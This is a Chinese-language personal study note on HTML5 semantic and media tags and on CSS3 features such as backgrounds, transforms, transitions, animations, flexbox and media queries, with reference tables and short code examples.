Vs code强制折叠（CSS）

> 用于折叠大段代码

```css
        /* #region文字 */
        h1 {
            color: red;
        }
        /* #endregion文字 */
```

## 实战

如果出现margin塌陷问题，在其父元素使用overflow:hidden;即可\*\*

选择**基数子元素**：nth-child(2n-1)

**偶数**:nth-child(2n)

行内块元素也可以使用text-align：center；居中

## HTML5

### 新增语义化标签

新增布局标签

| 标签名  | 语义                                                         | 单/双标签 |
| ------- | ------------------------------------------------------------ | --------- |
| header  | 整个页面或者部分区域的头部                                   | 双        |
| footer  | 整个页面的或者区域的底部                                     | 双        |
| nav     | 导航                                                         | 双        |
| article | 文章，帖子，杂志，新闻，博客，评论                           | 双        |
| section | 页面中的某段文字，或者文章中某段文字（里面文字通常会包含标题） | 双        |
| aside   | 侧边栏                                                       | 双        |
| main    | 文档的主要内容（WHATWG没有语义，IE不支持）几乎不用           | 双        |
| hgroup  | 包裹连续的标题，如文章的主标题和副标题的组合（W3C将其删除）  | 双        |

关于article和section：

> article里面可以包含多个section
>
> section强调的是分段或分块，如果你想将一块内容分成几段的时候，可以使用section元素
>
> article比section更强调独立性，一块内容如果比较独立完整的，应该使用article元素

### meter标签

语义:定于已知范围的标准测量，也被成为gauge（尺度），双标签，例如：

电量，磁盘用量等

属性如下：

| 属性    | 值   | 描述       |
| ------- | ---- | ---------- |
| high    | 数值 | 规定高值   |
| low     | 数值 | 规定低值   |
| max     | 数值 | 规定最大值 |
| min     | 数值 | 规定最小值 |
| optimum | 数值 | 规定最优值 |
| value   | 数值 | 规定当前值 |

![024-12-17\_20320](https://s21.ax1x.com/2025/04/06/pEcGSP0.jpg)

### progress标签

语义：显示某个任务完成的进度的指示器，一般用于表示进度，双标签，例如：工作完成进度等

属性：

| 属性  | 值   | 描述         |
| ----- | ---- | ------------ |
| max   | 数值 | 规定的目标值 |
| value | 数值 | 规定当前值   |

### 新增列表标签

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>新增列表标签</title>
</head>

<body>
    <form action="">
        <input type="text" list="mydata">
        <input type="button" value="Serch">
    </form>
    <datalist id="mydata">
        <option value="H5">H5</option>
        <option value="CSS">CSS</option>
        <option value="JavaScript">JavaScript</option>
        <option value="Vue">Vue</option>
    </datalist>
    <hr>
    <details>
        <summary>如何学习H5?</summary>
        <p>来到哔哩哔哩学习</p>
    </details>
</body>

</html>
```

| 标签名   | 语义                                       | 单双 |
| -------- | ------------------------------------------ | ---- |
| datalist | 用于搜索框的关键字提示                     | 双   |
| details  | 用于展示问题的答案，或者对专有名词进行解释 | 双   |
| summary  | 写在details中，用于指定问题或者专有名词    | 双   |

### 新增文本标签

在线汉字转拼音带声调:http://www.aies.cn/pinyin2.htm

```html
 <ruby>
        <span>中国</span>
        <rt>zhōng guó </rt>
    </ruby>
```

```html
 <p>Lorem ipsum, <mark>Doctor</mark> sit amet.</p>
```

##### 文本注音

| 标签名 | 语义                     | 单双 |
| ------ | ------------------------ | ---- |
| ruby   | 包裹需要注音的文字       | 双   |
| rt     | 写注音，rt标签写在ruby中 | 双   |

##### 文本标记

| 标签名 | 语义 | 单双 |
| ------ | ---- | ---- |
| mark   | 标记 | 双   |

> **注意**：W3C建议使用Mark标记搜索结果的关键字。

### 表单控件属性

|    属性名    | 功能                                                         |
| :----------: | ------------------------------------------------------------ |
| placeholder  | 提示文字（注意：不是默认值，value是默认值，适用于**文字输入**类控件） |
|   required   | 表示该输入项必填，适用于**除按钮外**其他的控件               |
|  autofocus   | 自动获取焦点，适用于所有控件                                 |
|   pattern    | 填写正则表达式，适用于文本输入控件，多行输入不可用 注意：**空的输入框不会验证** |
| autocomplete | 自动完成，属性on/off，适用于文字输入控件，密码框，多行输入除外（自动获取历史记录） |

URL解码/编码网址：http://www.wetools.com/url-encode

|     属性名     | 功能                                                   |
| :------------: | ------------------------------------------------------ |
|     email      | **邮箱**类型的输入框，表单提交时候会验证格式，空不验证 |
|      url       | URL类型的输入框，自动验证                              |
|     number     | 数字类型输入框，自动验证                               |
|     search     | 搜索类型的输入框                                       |
|      tel       | 电话类型的输入框，在移动端时，会自动唤起数字键盘       |
|     range      | 范围选择框                                             |
|     color      | 颜色选择框                                             |
|      date      | 日期选择框                                             |
|     month      | 月份选择框                                             |
|      week      | 周选择框                                               |
|      time      | 时间选择框                                             |
| datetime-local | 日期+时间选择框                                        |

from标签的新增属性：novalidate 表单提交时候不进行验证

### 多媒体标签

#### 视频标签

|   属性   | 值                | 描述                                         |
| :------: | ----------------- | -------------------------------------------- |
|   src    | URL地址           | 视频地址                                     |
|  width   | 像素值            | 播放器 宽度                                  |
|  height  | 像素值            | 播放器 高度                                  |
| controls | -                 | 向用户显示视频控件（播放/暂停）              |
|  muted   | -                 | 视频静音                                     |
| autoplay | -                 | 自动播放                                     |
|  poster  | URL地址           | 视频封面                                     |
| preload  | auo/metadata/none | 视频预加载，metadata：仅预先获取视频的元数据 |
|   loop   | -                 | 循环播放                                     |

> B站 (bilibili) 开源 HTML5 播放器

#### 音频标签

```css
    position: fixed;
            top: 0 ;bottom:0 ;
            left:0 ;
            right:0 ;
            background-color:black;
// 背景全黑
```

|   属性   | 值                 | 描述     |
| :------: | ------------------ | -------- |
|   src    | URL地址            | 音频地址 |
| controls | -                  | 显示控件 |
| autoplay | -                  | 自动播放 |
|  muted   | -                  | 音频静音 |
|   loop   | -                  | 循环播放 |
| preload  | auto/metadata/none | 预加载   |

### 全局属性

|     属性名      | 功能                                                         |
| :-------------: | :----------------------------------------------------------- |
| contenteditable | 表示元素是否可以被用户编辑，true/false                       |
|    draggable    | 表示元素可以被拖动true/false,配合ondragend=\<function(event)>使用 |
|     hidden      | 隐藏元素                                                     |
|   spellcheck    | 规定是否对元素进行拼写和语法检查true/false                   |
|   contextmenu   | 规定元素的上下文菜单，在鼠标右键单元素时显示（自定义网页右键菜单） |
|     data-\*      | 用于存储页面的私有定制数据，例：data-aa='1' 可以使用JS批量取出数据 |

**开源 Web 富文本编辑器**地址：https://www.wangeditor.com/demo/

### 兼容性处理

```html
//
<!--[if lt ie 9]>
    <script src=""></script>
<![endif]-->

```

> html5shiv.js是一套实现让ie低版本等浏览器支持[html5](https://so.csdn.net/so/search?q=html5\&spm=1001.2101.3001.7020)标签的解决方案。

```html
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
// 让IE浏览器处于一个最优的渲染模式
```

```html
    <meta name="render" content="webkit">
// 针对一些国产的双核浏览器的的设置，让浏览器优先使用webkit内核渲染网页
```

**扩展**

> lt 小于
>
> lte 小于等于
>
> gt 大于
>
> gte 大于等于
>
> ! 非

## CSS3

私有前缀意义：

W3C标准提出了某个CSS特性，在被浏览器**正式支持之前**，浏览器厂商根据浏览器内核使用私有前缀来测试该css特性，在浏览器**正式支持**该CSS属性后，就不需要私有前缀了

查询CSS3兼容性的网站：https://caniuse.com/

### 新增长度单位

* rem根元素字体大小的倍数，只与跟元素字体大小有关
* vm视口宽度的百分比
* vh视口高度的百分比
* vmax视口宽高中大的那个的百分比
* vmin视口宽高中小的那个的百分比

### 新增颜色设置方式

RGBA，HSL，HSLA

### box-sizing

#### 怪异盒模型

使用box-sizing属性可以设置盒模型的两种类型

| 可选值      | 含义                                            |
| ----------- | ----------------------------------------------- |
| content-box | width和height设置的是盒子内容区的大小（默认值） |
| border-box  | width和height设置的是盒子总大小（怪异盒模型）   |

### resize

#### 调整盒子大小

使用resize属性可以控制是否允许用户调节元素大小

| 值         | 含义                   |
| ---------- | ---------------------- |
| none       | 不允许用户调整元素大小 |
| both       | 用户可以调节宽高       |
| horizontal | 用户可以调节宽度       |
| vertical   | 用户可以调节高度       |

### box-shadow

#### 盒子阴影

box-shadow：h-shadow v-shadow blur spread color inset;

| 值       | 含义         |
| -------- | ------------ |
| h-shadow | 水平阴影位置 |
| v-shadow | 垂直阴影位置 |
| blur     | 模糊距离     |
| spread   | 阴影外延值   |
| color    | 阴影颜色     |
| inset    | 是否内阴影   |

> 默认值：none无阴影

### opacity

#### 不透明度

opacity属性能为整个元素添加透明效果，值是0到1之间的小数，1完全不透明，0完全透明

> opacity与rgba的区别？
>
> opacity是一个属性，设置的是整个元素（包括元素内的内容）的不透明度
>
> rgba是颜色的设置方式，用于设置颜色，它的不透明度，仅仅是是调整颜色

### background-origin

#### 背景img的原点

语法：

| 属性        | 含义                                             |
| ----------- | ------------------------------------------------ |
| padding-box | 从padding区域开始显示背景图像（默认值）          |
| border-box  | 从border区域开始显示背景图像（整个盒子最左顶点） |
| content-box | 从content区域开始显示背景图像                    |

### background-clip

#### 背景图向外裁切的区域

| 属性        | 含义                                   |
| ----------- | -------------------------------------- |
| border-box  | 从border区域开始向外裁剪背景（默认值） |
| padding-box | 从padding区域开始向外裁剪背景          |
| content-box | 从content区域开始向外裁剪背景          |
| text        | 背景img只呈现在文字上                  |

> 注意：若值为text，那么background-clip要加上-webkit-前缀

### background-size

#### 背景img尺寸

语法：

| 值                           | 含义                                                         |
| ---------------------------- | ------------------------------------------------------------ |
| background-size:300px 200px; | 用长度指定背景img的大小，不允许负值                          |
| background-size:100% 100%;   | 用百分百指定背景img的大小                                    |
| auto                         | 背景的img的真实大小（默认值）                                |
| contain                      | 将背景img等比例缩放，使img的宽高与容器的宽高相等，再将完整的img包含在容器内 |
| cover                        | 将img等比例缩放，直到完全覆盖容器，img会尽可能的显示在元素上，可能显示不完整（最优选择） |

### background复合属性

语法：

```css
background:color url repeat position / size origin clip
```

> 注意：origin和clip的值如果一样，如果只写一个值，则origin和clip都设置，如果设置了两个值，前面是origin，后是clip
>
> size必须写在position值的后面，**并且使用 / 分开**

### 多背景图

CSS3允许元素设置多个背景img

```css
background:url(...) no-repeat left top,
			url(...) no-repeat right top,
			url(...) no-repeat left bottom,
			url(...) no-repeat right bottom;
```

### 新增边框属性

在CSS3中，使用border-radius属性可以设置盒子为圆角

同时设置四个角的圆角：
`border-radius: 10px`

可以分开设置每个角的圆角，比如：border-top-left-radius，一个值是正圆半径，两个值是椭圆的x半径和y半径

复合写法：border-radius：左上角x 右上角x 右下角x 左下角x  /  左上y 右上y 右下y 左下y

### 边框外轮廓

* outline-width：外轮廓的宽度
* outline-color：外轮廓的颜色
* outline-style：外轮廓的样式（风格）
* * none：无轮廓
    dotted：点状轮廓
  * dashed：虚线轮廓
  * solid：实线轮廓
  * double：双线轮廓
* outline-offset设置外轮廓与边框的距离，正负值

> 注意：outline-offset不是outline的子属性，是一个单独的属性

* outline复合属性

`outline：50px solid red;`

### 新增文本属性

#### 文本阴影

语法：

```css
text-shadow:h-shadow v-shadow blur color;
```

**使用text-shadow属性给文本添加阴影**

| 值       | 描述                             |
| -------- | -------------------------------- |
| h-shadow | 必须写，水平阴影的位置，允许负值 |
| v-shadow | 必写，垂直阴影的位置，允许负值   |
| blur     | 可选，模糊的距离                 |
| color    | 可选，阴影的颜色                 |

> 默认值：text-shadow：none;没有阴影

#### 文本换行

使用white-space属性设置文本换行方式

| 值       | 含义                                                         |
| -------- | ------------------------------------------------------------ |
| normal   | 文本超出边界自动换行，文本中的换行被浏览器识别为一个空格（默认值 |
| pre      | 原样输出，与pre标签效果一样                                  |
| pre-wrap | 在pre的基础上，超出元素边界的自动换行                        |
| pre-line | 在pre的基础上，超出元素边界的自动换行，且只识别文本中的换行，空格会忽略 |
| nowrap   | 强制不换行                                                   |

#### 文本溢出

使用text-overflow属性设置文本内容溢出时的呈现模式

| 值       | 含义                                           |
| -------- | ---------------------------------------------- |
| clip     | 当内联内容溢出时，将溢出部分裁切带掉，（默认值 |
| ellipsis | 当内联内容溢出容器时，将溢出部分替换为 ...     |

> 注意：要使用text-overflow属性生效，块容器必须显式定义overflow为非visible值
>
> white-space为nowrap值

| 值      | 描述                                                     |
| ------- | -------------------------------------------------------- |
| visible | 默认值。内容不会被修剪，会呈现在元素框之外。             |
| hidden  | 内容会被修剪，并且其余内容是不可见的。                   |
| scroll  | 内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容。 |
| auto    | 如果内容被修剪，则浏览器会显示滚动条以便查看其余的内容。 |
| inherit | 规定应该从父元素继承 overflow 属性的值。                 |

#### 文本修饰

使用text-decoration属性，让其变成复合属性

```css
text-decoration:text-decoration-line text-decoration-style text-decoration-color
```

**text-decoration-line设置文本装饰线的位置**

* none指文本无装饰（默认值
* underline指文字的装饰线是下划线
* overline上划线
* line-through贯穿线

**text-decoration-style文本装饰线的形状**

* solid实线
* double双线
* dotted点状线条
* dashed虚线
* wavy波浪线

**text-decoration-color颜色**

略

#### 文本描边

> 注意：只支持webkit内核浏览器

| 值                        | 含义                     |
| ------------------------- | ------------------------ |
| -webkit-text-stroke-width | 文字描边的宽度值，长度值 |
| -webkit-text-stroke-color | 颜色                     |
| -webkit-text-stroke       | 复合属性                 |

### 渐变

#### 线性渐变

多个颜色之间的渐变，默认**从上到下**渐变

```css
background-image:linear-gradient(red,yellow,green);
```

关键词数值线性渐变的方向

```css
background-image:linear-gradient(to top,red,yellow,green);
```

使用角度设置渐变方向

```css
background-image:linear-gradient(30deg,red,yellow,green);
```

调整渐变位置

```css
background-image:linear-gradient(to top,red 50px,yellow 100px,green 150px);
```

#### 径向渐变

```css
background-image:radial-gradient(red,yellow,green);
```

```css
background-image:radial-gradient(at right top ,red ,yellow , green)
```

```css
background-image:radial-gradient(at 100px 40px ,red ,yellow ,green)
```

```css
background-image:radial-gradient(circle,red,yellow,green)  调整为正圆
```

```css
background-image:radial-gradient(100px 100px,red,yellow,green); 半径
```

```css
background-image:radial-gradient(red 50px ,green 100px, yellow 150px) 渐变位置
```

#### 重复渐变

```css
background-image:repeating-radial-gradient(...)
```

### web字体

#### 基本语法

可以通过@font-face指定字体的具体地址，浏览器自动下载该字体，就不用依赖用户电脑端的字体

语法(简写方式 )：

```css
@font-face{
    font-family:'自定义字体名字',
        src:url('地址')
}
```

语法（高兼容性写法）

```css
@font-face {
  font-family: "webfont";
  font-display: swap;
  src: url('webfont.eot'); /* IE9 */
  src: url('webfont.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
  url('webfont.woff2') format('woff2'),
  url('webfont.woff') format('woff'), /* chrome、firefox */
  url('webfont.ttf') format('truetype'), /* chrome、firefox、opera、Safari, Android, iOS 4.2+*/
  url('webfont.svg#webfont') format('svg'); /* iOS 4.1- */
}
```

#### 定制字体

中文的字体文件很大，使用完整的字体文件不现实，通常针对某个文字进行单独定制

可以使用阿里Web字体定制工具：https://www.iconfont.cn/webfont

### 字体图标

相比img更加清晰

灵活性高，更方便更改大小，颜色，风格等

兼容性好，IE也能支持

> 字体图标的具体使用方式，每个平台都不一样，最好参考平台的使用指南，

阿里图标官网地址：https://www.iconfont.cn/

### 2D变换

先给元素添加转换属性transform

#### 位移

**属性值**

| 值         | 含义                                                         |
| ---------- | ------------------------------------------------------------ |
| translateX | 设置水平方向位移，需要指定长度值，若为百分比，则参考自身宽度的百分比 |
| translateY | 设置垂直方向位移                                             |
| translate  | 一个值代表水平方向，两个值代表水平和垂直方向。               |

注意点：

* 位移与相对定位类似，都**不会脱离文档流**，不会影响到其他元素
* 相对定位的百分比参考的是其**父元素**，位移的百分比参考的是**其自身**
* 浏览器针对位移有优化，与定位相比，浏览器处理位移效率更高
* 位移**行内元素无效**
* 位移配合定位，可以实现元素水平垂直居中

```css
.box{
    position:absolute;
    left:50%;
    top:50%;
    transform:translate(-50%,-50%);
}
```

#### 缩放

| 值    | 含义                                                         |
| ----- | ------------------------------------------------------------ |
| scale | 同时设置水平方向，垂直方向的缩放比例，一个值代表设置水平垂直缩放，两个值分别代表水平缩放和垂直缩放（1倍，0.5倍...） |

> **注意**：支持	写负数，借助缩放可以实现小于12px的字体

#### 旋转

| 值     | 含义                                                         |
| ------ | ------------------------------------------------------------ |
| rotate | 设置选择角度，需要指定一个角度值（deg）,正值顺时针，负值逆时针 |

> 注意：rotate一个值的时候就是rotateZ

#### 扭曲

指的是元素在二维平面内被拉扯进而变形，实际很少用

| 值   | 含义                                                 |
| ---- | ---------------------------------------------------- |
| skew | 一个值代表水平方向扭曲，值为角度值，两个值为水平垂直 |

#### 多重变换

> 注意：多重变换时候，建议把选装放最后

```css
transform:translate(-50%,-50%) rotate(45deg)
```

#### 变换原点

元素变换时，默认的原点是元素的中心，使用transform-origin可以修改变换原点

修改原点对位移没有影响，对缩放和旋转有影响

如果提供两个值，即横纵坐标

如果一个值，若是像素值，表示横坐标，纵坐标取50%，若是关键词，则另取一个坐标50%

默认值：

```css
transform-origin(50% 50%)
```

### 3D变换

#### 开启3D空间

重要原则：元素进行3D变换的首要操作：**父元素**必须开启3D空间

使用transform-style开启3D空间，可选值：

* flat：让子元素位于此元素的二维平面内（2D）默认值
* preserve-3d：让子元素位于此元素的三维空间内（3D）

#### 设置景深

指定观察者与z=0平面的距离，能让发生3D变换的元素产生透视效果，看起来更立体

使用**perspective**设置景深，可选值：

* none：不指定透视（默认值
* 长度值：指定观察者距离z=0平面的距离，不允许负值

> 注意：perspective设置给发生3D变换元素的**父元素**

#### 透视点位置

所谓透视点位置，就是观察者位置，默认的透视点在**元素的中心**

使用**perspective-origin**设置观察者的位置（透视点的位置）例如：

> 相对坐标轴偏移400px,往下偏移300px,(相当于人蹲下300px，然后向右移动400px看元素)
>
> perspective-origin: 400px 300px;

**通常情况下，不需要调整透视点的位置**

#### 位移

3D位移是在2D位移的基础上，可以给元素沿z轴位移，具体使用方式：

先给元素添加转换属性：transform

编写transform的具体值：

| 值          | 含义                                                         |
| ----------- | ------------------------------------------------------------ |
| translateZ  | 设置z轴位移，不能写百分比（x,y则可以），需要指定长度值，正值向屏幕外，负值... |
| translate3d | 第一个参数对应X轴，第二个参数对应y轴，第三个参数对应z轴，且一个都不能省略 |

#### 旋转

3D网站three.js https://threejs.org/docs/

3D旋转是在2D的基础上，可以让元素沿x轴和y轴旋转

| 值       | 含义                                                         |
| -------- | ------------------------------------------------------------ |
| rotateX  | 设置X轴的旋转角度，需要指定一个角度值（deg），面对x轴正方向，正值顺时针，负值逆时针 |
| rotateY  | 设置y轴的旋转角度，需要指定一个角度值（deg）面对y轴正方向... |
| rotate3d | 前3个参数分别表示坐标轴x,y,z第四个参数表示旋转角度，参数不允许省略 |

```css
transform:rotate3d(1,1,1,30deg) 
// 表示x,y,z分别旋转30度
```

#### 缩放

可以让元素沿着z轴缩放

| 值      | 含义                                                         |
| ------- | ------------------------------------------------------------ |
| scaleZ  | 设置z轴方向的缩放比例，值为一个数字，大于1表示方法，小于1... |
| scale3d | 第一个参数对应x轴...所有参数不能省略                         |

#### 多重变换

多个变换，可以使用一个transform来编写

> 注意：多重变换，建议最后旋转

#### 背部

##### 背部可见性

**backface-visibility:hidden;**

### 过渡

#### 基本使用

过渡可以在不使用flash，JS的情况的下，让元素从一种样式平滑的过渡到另一种样式

##### transition-property

作用：定义哪个属性需要过渡，只在该属性中定义的属性才会有过渡效果

常用值：

* none不过渡任何属性
* all过渡所有能过渡的属性
* 具体某个属性名，多个使用逗号隔开

##### transition-duration

作用：设置过渡的持续时间，即从一个样式过渡到另一个样式所耗时长

常用值：

0 没有任何过过渡时间 默认值

s 或者 ms 秒 或 毫秒

列表：

如果想让所有属性都持续一个时间，那就写一个值

如果想让每个属性持续的时间都不一样那就写一个时间列表，每个时间一一对应属性，使用逗号隔开

#### 高级使用

##### transition-delay

作用：指定开始过渡的延迟时间，单位s或者ms

##### transition-timing-function

作用：设置过渡的类型

常用值：

| 值                                       | 含义                                                         |
| ---------------------------------------- | ------------------------------------------------------------ |
| ease                                     | 平滑过渡（默认值                                             |
| linear                                   | 线性过渡                                                     |
| ease-in                                  | 慢-快                                                        |
| ease-out                                 | 快-慢                                                        |
| ease-in-out                              | 慢-快-慢                                                     |
| step-start                               | 等同于steps（1，start）                                      |
| step-end                                 | 等同于steps（1，end）                                        |
| step-end                                 | 等同于steps（1，end）                                        |
| step(integer,?)                          | 接受两个参数的步进函数，第一个参数必须为正整数，指定函数的步数，第二个参数可以是start或end，指定每一步的值发生变化的时间点，默认为end |
| cubic-bezie(number,number,number,number) | 特定的贝塞尔曲线类型                                         |

> 在线制作贝塞尔曲线：https://cubic-bezier.com

#### 复合属性

```css
transition:1s 1s linear all;
```

> 注意时间顺序

### 动画

#### 定义关键帧

```css
   @keyframes identifier {
            from {}

            to {}
        }
```

```css
 @keyframes identifier {
            0% {}

            50% {}

            100% {}
        }
```

**关键字和百分比可以混用**

#### 动画属性

|          值           | 含义                                 |
| :-------------------: | ------------------------------------ |
|   animation-name: ;   | 给元素指定具体的动画（具体的关键帧） |
| animation-duration: ; | 设置动画所需要的时间                 |
|  animation-delay: ;   | 设置动画的延迟                       |

#### 其他属性

|              值              | 属性                                                         | 含义               |
| :--------------------------: | ------------------------------------------------------------ | ------------------ |
| animation-timing-function: ; | ease平滑动画 linear线性动画 ease-in慢-快 ease-out快-慢...    | 设置动画的类型     |
| animation-iteration-count: ; | number动画循环的次数 infinite 无限循环                       | 指定动画播放的次数 |
|    animation-direction: ;     | normal 正常方向 reverse反方向运行 alternate 动画先正常运行再反方向运行，并持续交替运行 alternate-reverse动画先反运行再正运行，持续交替运行 | 指定动画的方向     |
|    animation-fill-mode: ;    | (不发生动画时的位置)forwards设置对象状态为动画结束时的状态 backwards设置对象状态为动画开始时的状态 | 设置动画之外的状态 |
|   animation-play-state: ;    | running运动 paused暂停                                       | 设置动画的播放状态 |

#### 复合属性

> animation-play-state一般单独使用

### 多列布局

常用属性：

> 小技巧：文章插入img时，宽高设置100%即可（设置img宽度为所在那一列宽度的100%）

| 值                | 含义                                               |
| ----------------- | -------------------------------------------------- |
| column-count      | 指定列数，值是数字                                 |
| column-width      | 指定列宽，值是长度                                 |
| columns           | 同时指定列宽和列数，复合属性，值没有数量和顺序要求 |
| column-gap        | 设置列边距，值是长度                               |
| column-rule-style | 设置列与列之间的风格，值与border-style一样         |
| column-rule-width | 设置列与列之间边框的宽度，值是长度                 |
| column-rule-color | 设置列与列之间边框的颜色                           |
| column-rule       | 设置列边框，复合属性                               |
| column-span       | 指定是否跨列，值是none,all（用于标题）             |

### 多列布局img

```css
img{
	width:100%;
}
// 设置img为宽度的100%
```

### 盒模型

> 传统布局方案指：基于传统盒模型，主要依靠display属性+position属性+float属性
>
> flex布局目前在移动端应用比较广泛，因为传统布局不能很好的呈现在移动端

#### 容器与项目

> **inline-flex**属性设置盒子为**flex布局**并且修改当前元素为**行内快**元素

##### 伸缩容器

开启了flex的元素，就是伸缩容器

1. 给元素设置**display：flex**或者**display：inline-flex**
2. **display：inline-flex**可以给多个伸缩容器的父容器也设置为伸缩容器
3. 一个元素可以同时是伸缩容器，伸缩项目

##### 伸缩项目

伸缩容器所有的**子元素**自动成为了**伸缩项目**

1. 仅伸缩容器的**子元素**成为了伸缩项目，孙子元素，重孙子元素等后代，不是伸缩项目
2. 无论原来是哪种元素，（块，行内块，行内）一旦成为了伸缩项目，全部会‘**块状化**’。

> 开发小技巧：可以开发者工具内找到computed查看计算后的属性
>
> 例如：span在开启flex后，display会成为block

#### 主轴方向

##### 主轴

**伸缩项目沿着主轴排列**，主轴默认是水平的，默认是方向时从左到右

##### 侧轴

与主轴垂直的就是侧轴，侧轴默认是垂直的，默认方向是从上到下

##### 主轴方向

属性名**flex-direction**

| 值             | 含义                         |
| -------------- | ---------------------------- |
| row            | 主轴方向水平从左到右（默认值 |
| row-reverse    | 主轴方向水平从右到左         |
| column         | 主轴方向垂直从下到上         |
| column-reverse | 主轴方向垂直从下到上         |

> 注意：改变了主轴的方向，侧轴方向也随之改变

#### 主轴换行方式

属性名：**flex-warp**

常用值;

* nowrap默认值，不换行
* warp自动换行，伸缩容器不够自动换行
* warp-reverse反向换行

![Snipaste\_2024-12-22\_13-13-23](https://s21.ax1x.com/2025/04/06/pEcGiMF.png)

#### 复合属性

**flex-flow**(了解)

复合属性，集合了**主轴方向**和**换行方式**

```css
flex-flow:row-reverse warp-reverse;
```

#### 主轴对齐方式

属性名：**justify-content**

| 值            | 含义                               |
| ------------- | ---------------------------------- |
| flex-start    | 主轴起点对齐,左对齐（默认值        |
| flex-end      | 主轴终点对齐，右对齐               |
| center        | 居中对齐                           |
| space-around  | 均匀分布，两端距离是中间距离的一半 |
| space-between | 均匀分布，两端对齐（最常用         |
| space-evenly  | 均匀分布，两端距离与中间距离一致   |

![](https://s21.ax1x.com/2025/04/06/pEcG92T.png)

#### 侧轴对齐

##### 单行

属性名：**align-items**

| 值         | 含义                                                     |
| ---------- | -------------------------------------------------------- |
| flex-start | 侧轴的起点对齐（上对齐）                                 |
| flex-end   | 侧轴的终点对齐（低对齐）                                 |
| center     | 侧轴的中点对齐（居中）                                   |
| baseline   | 伸缩项目第一行文字的基线对齐（伸缩项目文字不一样时）     |
| stretch    | 如果伸缩项目**未设置高度**，将占满整个容器的高度(默认值) |

![](https://s21.ax1x.com/2025/04/06/pEc8van.png)

##### 多行

属性名**align-content**

| 值            | 含义                                                   |
| ------------- | ------------------------------------------------------ |
| flex-start    | 侧轴起点对齐                                           |
| flex-end      | 侧轴终点对齐                                           |
| center        | 侧轴中点对齐                                           |
| space-around  | 伸缩项目之间距离均匀分布，侧轴两端距离是中间距离的一半 |
| space-between | 侧轴中间均匀分布，两端对齐（最常用                     |
| space-evenly  | 均匀分布，侧轴两端距离与中间距离一致                   |
| stretch       | 占满整个侧轴（默认值                                   |

![](https://s21.ax1x.com/2025/04/06/pEcGCxU.png)

#### 水平垂直居中

借助**flex布局**实现元素水平垂直居中

##### 方案一

```css
// 父元素设置即可
display: flex;
justify-content: center;
align-items: center;
```

##### 方案二

```css
// 父元素
display: flex;
```

```css
// 子元素
margin: auto;
```

#### 基准长度

概念：flex-basis设置的是**主轴方向**上**伸缩项目**的**基准长度**，会让宽或者高失效，取决于主轴方向

> 备注：主轴横向，宽度失效，主轴纵向，高度失效

作用：浏览器根据这个属性的值，计算主轴上是否有多余的空间，默认值是**auto**（即伸缩项目的宽或高）

#### 伸缩性

##### 伸

**flex-grow**

概念:flex-grow定义**伸缩项目的放大比例**，默认为0，即纵使主轴存在剩余空间，也不拉伸（放大）

规则：

若所有伸缩项目的**flex-grow**值都为1，则它们将**等分**剩余空间（如果有空间的话）

若三个伸缩项目的**flex-grow**值分别为1,2,3，则分别分到**1/6   2/6   3/6**的空间

##### 缩

概念：flex-shrink定义了项目的压缩比例，默认为1，如果空间不足，该项目将会缩小

收缩项目的计算，略微复杂一点，**举个栗子**：

> 三个收缩项目，宽度分别为200px   300px    200px   ，它们的flex-shrink值分别为1，2，3
>
> 若想刚好容纳下三个项目，需要总宽度为700px，但目前容器只有400px，还差300px
>
> 所以每个人都要收缩一下才可以放下，具体收缩的值，计算方式：

> ```
> 1.计算分母：(200*1)+(300*2)+(200*3)=1400
>
> 2.计算比例：
> 	项目一：(200*1)/1400=比例1
> 	项目二：(300*2)/1400=比例2
> 	项目三：(200*3)/1400=比例3
>
> 3.计算最终收缩大小：
> 	项目一：比例1 * 300
> 	项目二：比例2 * 300
> 	项目三：比例3 * 300
>
> ```

#### flex复合属性

flex是复合属性，复合了flex-grow，flex-shrink，flex-basic三个属性，默认值是0 1 auto。

* 如果写flex:1 1 auto，则简写为flex:auto;
* 如果写flex:1 1 0，      则简写为flex:1;
* 如果写flex:0 0 auto，则简写为flex none;
* 如果写flex:0 1 auto，则简写为flex:0 auto（默认值）

#### 项目排序

order属性定义项目的排列顺序，数值越小，排列越靠前，默认值为0

#### 单独对齐

* 通过align-self属性，可以单独调整某个伸缩项目的对齐方式
* 默认值为auto，表示继承父元素的align-items属性

#### 实战

占满全屏：

```css
html,body{
	width:100%;
    height:100%;
}
```

背景img最优展示（大小和视口不一致的时候）:

```css
background-size: cover;
```

计算：

```css
calc();

例：
calc(100vh-70px);
// 表示内容区域高度为视口高度减去顶部导航区域高度
```

100vh表示视口高度的100%

区域居中：

* 父元素display:flex;
* 子元素margin:auto;

### 媒体查询

**响应式布局**

#### 媒体类型

```css
@media screen{
  article {
    padding: 1rem 3rem;
  }
}
```

| 值     | 含义                                             |
| ------ | ------------------------------------------------ |
| all    | 检测所有设备                                     |
| screen | 检测电子屏幕，包括电脑屏幕，平板屏幕，手机屏幕。 |
| print  | 检测打印机，打印预览                             |
| ...    | ...                                              |

> 完整列表参考：https://developer.mozilla.org/zh-CN/docs/Web/CSS/@media

#### 媒体特性

```css
        /* 检测到视口高度 小于等于800px时 */
        @media (max-height:800px) {
            h1 {
                color: red;
            }
        }

        /* 检测到视口高度 大于等于800px时 */
        @media (min-height:800px) {
            h1 {
                color: green;
            }
        }

 /* 检测到用户屏幕的宽度 等于800px时 */
        @media (device-width:1920px) {
            h1 {
                color: red;
            }
        }
```

| 值               | 含义                                                         |
| ---------------- | ------------------------------------------------------------ |
| width            | 检测视口的宽度                                               |
| max-width        | 检测视口的最大宽度（小于等于...执行）                        |
| min-width        | 检测视口的最小宽度（大于等于...执行）                        |
| height           | 检测视口高度                                                 |
| max-height       | 检测视口的最大高度                                           |
| min-height       | 检测视口的最小高度                                           |
| device-width     | 检测设备屏幕的宽度                                           |
| max-device-width | 检测设备屏幕的最大宽度                                       |
| min-device-width | 检测设备屏幕的最小宽度                                       |
| orientation      | 检测视口的旋转方向（是否横屏）。1.portrait：视口处于纵向，即高度大于等于宽度 2.landscape：视口处于横向，即宽度大于高度。 |

> 完整列表参考：https://developer.mozilla.org/zh-CN/docs/Web/CSS/@media

#### 运算符

```css
 /* 电子屏幕并且视口宽度大于700px小于800px（区间700-800） */
        @media screen and (min-width:700px) and (max-width:800px) {
            h1 {
                color: red;
            }
        }
```

| 值      | 含义          |
| ------- | ------------- |
| and     | 并且          |
| , 或 or | 或者          |
| not     | 非（否定）    |
